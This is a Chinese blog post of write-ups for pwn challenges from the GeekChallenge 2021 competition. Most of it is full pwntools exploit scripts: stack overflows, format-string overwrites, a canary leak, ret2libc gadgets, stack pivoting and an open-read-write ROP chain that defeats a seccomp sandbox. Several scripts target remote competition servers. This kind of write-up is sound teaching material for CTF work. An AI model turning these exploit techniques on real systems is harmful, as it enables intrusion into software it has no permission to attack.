PWN-COMPETITION-GeekChallenge2021

本文档展示了多个利用栈溢出和格式化字符串漏洞获取Shell的实例,包括数学游戏脚本、ret2xxone、恋爱小游戏2.0、easyfmt、easycanary、ret2baby以及pwn777等挑战的解决策略。通过调试、栈溢出和格式化字符串漏洞,成功实现对程序控制流的篡改,最终获取目标系统的Shell。
摘要由CSDN通过智能技术生成

check in

66s内解答200道四则运算的题目即可getshell
参与运算的数和运算符都会打印,直接写脚本即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./math")
io=remote("123.57.230.48",12343)
elf=ELF("./math")

for i in range(200):
	io.recvuntil("num1:")
	num1=int(io.recvuntil("\n")[:-1])
	io.recvuntil("num2:")
	num2=int(io.recvuntil("\n")[:-1])
	io.recvuntil("this calculation is ")
	sign=io.recvuntil("\n")[:-1]
	ans=0
	if sign=="+":
		ans=num1+num2
	elif sign=="-":
		ans=num1-num2
	elif sign=="*":
		ans=num1*num2
	else:
		ans=num1/num2
	io.sendlineafter("your answer!!:\n",str(ans))

io.interactive()

恋爱小游戏

栈溢出覆写栈上变量的值使满足if即可getshell,可直接在命令行输入payload
gane-flag

ret2xxone

Geek函数中存在栈溢出漏洞,前提是先输入一个数和程序产生的随机数相同
ret2xxone
由于程序没有通过srand()函数设置随机数种子,所以每次运行程序时,程序产生的随机数都是相同的,可以通过调试得到
在0x0804860C处下断点,程序调用rand()后,返回值EAX即为程序产生的随机数,这里为0x6b8b4567
ret2xxone-randnum
之后就是利用栈溢出getshell

# -*- coding:utf-8 -*-
from pwn import *
io=process("./ret2xx")
elf=ELF("./ret2xx")
system_plt=elf.plt["system"]
binsh=0x080486D0

io.recvuntil("to solve it!\n")
num=0x6b8b4567
io.send(p32(num))

payload="a"*(0x1A+4)+p32(system_plt)+p32(0xdeadbeef)+p32(binsh)
io.send(payload)

io.interactive()

恋爱小游戏2.0

栈溢出,原理和1.0一样,注意在命令行输入payload后不能用回车,要用Ctrl+D来结束输入
game-flag
或者写脚本,payload最后设为"\x00"即可

# -*- coding:utf-8 -*-
from pwn import *
io=remote("47.242.20.238",10000)
payload="a"*24+"loveyou\x00"
io.send(payload)
io.interactive()

easyfmt

格式化字符串漏洞,第一次覆写栈上变量的值,第二次覆写返回地址
backdoor关闭了标准输出流,使用exec实现重定位,再cat flag即可

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./format_string")
io=remote("123.57.230.48",12342)
elf=ELF("./format_string")

#gdb.attach(io,"b * 0x08048685")
#pause()

io.recvuntil("First step:\n0x")
v3_addr=int(io.recvuntil("\n")[:-1],16)
print("v3_addr=="+hex(v3_addr))

payload=p32(v3_addr)+"%8c%15$hn" # len(payload)==13
io.send(payload)

backdoor=0x0804874D
ebp_sub_8=v3_addr+0x10
io.recvuntil("you enter there\n")
payload=p32(ebp_sub_8)+"%"+str(backdoor&0xff-4)+"c%7$hhn"
print(len(payload))
io.sendline(payload)

io.sendline("exec 1>&2")
io.sendline("cat flag")
#pause()

io.interactive()

easycanary

格式化字符串泄露canary,read利用栈溢出覆写返回地址getshell

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./stackguard1")
io=remote("123.57.230.48",12344)
elf=ELF("./stackguard1")

#gdb.attach(io,"b * 0x4012A3")
#pause()

payload="%11$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))

backdoor=0x4011D6
payload="a"*(0x30-8)+p64(canary)+"b"*8+p64(backdoor)
io.sendline(payload)

#pause()

io.interactive()

ret2baby

main函数中说有两次机会,其实一次就可以getshell了
input函数中要求输入一个position,范围为[0,20],将这个position传入game函数中
对game函数的分析标注在注释中
ret2-vuln
当game函数第32行的if语句成立时,可以造成栈溢出,脚本如下

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./ret2")
io=remote("123.57.230.48",12346)
elf=ELF("./ret2")

binsh=0x4014d4
pop_rdi=0x401273
ret=0x400318

io.recvuntil("please input your position\n")
io.sendline("20")

io.recvuntil("plz input your value\n")
io.sendline("0")

io.recvuntil("this is a gitf 0x")
system=int(io.recv(12),16)
print("system=="+hex(system))

payload="a"*(0x12+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)

io.sendline(payload)

io.interactive()

pwn777

此题开了沙箱,ban了execve系统调用,于是考虑orw
game函数中利用栈溢出覆写随机数种子为0,绕过随机检测
fmt()函数中存在bss段上的格式化字符串漏洞,参考:bss上的格式化字符串漏洞
此题除了game函数中存在栈溢出,其它函数中都不存在可实现rop的条件,要想实现orw还需要栈迁移

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
context.arch="amd64" # 下面asm()找gadget需要
#io=process("./pwn01")
io=remote("47.242.20.238",7777)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")

#offset=0x1621
#io_base = io.libs()[io.cwd + io.argv[0].strip('.')]
#gdb.attach(io,"b * "+str(io_base+offset))
#pause()

io.recvuntil("input your name\n")
name="a"*16+p64(0)+p32(0) # 栈溢出,将随机数种子设为0
io.send(name)

num=[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]
for i in range(10):
	io.recvuntil("input your number:")
	io.sendline(str(num[i]))

io.recvuntil("try your best!\n")	
payload="%6$p.%7$p.%13$p" #泄露栈地址,程序基地址,libc基址
io.sendline(payload)
io.recvuntil("0x")
stack_addr=int(io.recvuntil(".")[:-1],16) #栈地址
print("stack_addr=="+hex(stack_addr))
io.recvuntil("0x")
proc_base=int(io.recvuntil(".")[:-1],16)-0x166F #程序基地址
print("proc_base=="+hex(proc_base))
io.recvuntil("0x")
libc_base=int(io.recv(12),16)-240-libc.sym["__libc_start_main"] #libc基址
print("libc_base=="+hex(libc_base))
buf_addr=proc_base+0x4060 #buf地址
print("buf_addr=="+hex(buf_addr))

# 依照bss段上的格式化字符串漏洞利用原理,实现栈迁移,需要修改rbp到fake_rbp地址,改写mymain的返回地址到一个leave_ret
# phase 1 start 改写mymain的返回地址到一个leave_ret
rip=stack_addr+0x8
rip_0_2=rip&0xff
print("rip_0_2=="+hex(rip_0_2))
payload="%"+str(rip_0_2)+"c%6$hhn" #这里是偏移为6的链
io.sendline(payload)

leave_ret=proc_base+0x1676
print("leave_ret=="+hex(leave_ret))
ret=leave_ret&0xff
print("ret=="+hex(ret))
payload="%"+str(ret)+"c%10$hhn"
io.sendline(payload)

# phase 1 end

# phase 2 start 改写rbp到fake_rbp地址,由于原本栈上的rbp与fake_rbp地址完全不同,需要分3次各次写2个字节,共6个字节
fake_rbp=buf_addr+0x10
print("fake_rbp=="+hex(fake_rbp))

buf_addr_0_4=(fake_rbp)&0xffff
print("buf_addr_0_4=="+hex(buf_addr_0_4))
payload="%"+str(buf_addr_0_4)+"c%6$hn" #低2字节可以用上面改写返回地址的链直接写,偏移为6的链
io.sendline(payload)

# 中间2字节 和 高2字节 需要找另一条链辅助写,这里是偏移为15的链
stack_addr_add_2=stack_addr+0x2
print("stack_addr_add_2=="+hex(stack_addr_add_2))
stack_addr_add_2=stack_addr_add_2&0xffff
payload="%"+str(stack_addr_add_2)+"c%15$hn"
io.sendline(payload)

buf_addr_4_8=(fake_rbp>>16)&0xffff
print("buf_addr_4_8=="+hex(buf_addr_4_8))
payload="%"+str(buf_addr_4_8)+"c%41$hn"
io.sendline(payload)

stack_addr_add_4=stack_addr+0x4
print("stack_addr_add_4=="+hex(stack_addr_add_4))
stack_addr_add_4=stack_addr_add_4&0xffff
payload="%"+str(stack_addr_add_4)+"c%15$hn"
io.sendline(payload)

buf_addr_8_12=(fake_rbp>>32)&0xffff
print("buf_addr_8_12=="+hex(buf_addr_8_12))
payload="%"+str(buf_addr_8_12)+"c%41$hn"
io.sendline(payload)
# phase 2 end

bss=proc_base+0x4020
syscall = libc_base+0x1015D7 #在libc中找一个syscall的偏移即可
pop_rax_ret = libc_base+libc.search(asm("pop rax; ret")).next() #注意设置context.arch="amd64"
pop_rdi_ret = libc_base+libc.search(asm("pop rdi; ret")).next()
pop_rsi_ret = libc_base+libc.search(asm("pop rsi; ret")).next()
pop_rdx_ret = libc_base+libc.search(asm("pop rdx; ret")).next()

payload="jiaraniloveyou~\x00" # len=16
payload+="./flag".ljust(8,"\x00") #要打开的文件名
# 下面是利用栈迁移实现orw,open,read,write
payload+=p64(pop_rdi_ret)+p64(buf_addr+0x10)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(0)+p64(syscall)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(1)+p64(syscall)
io.sendline(payload)

#pause()

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

P1umH0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值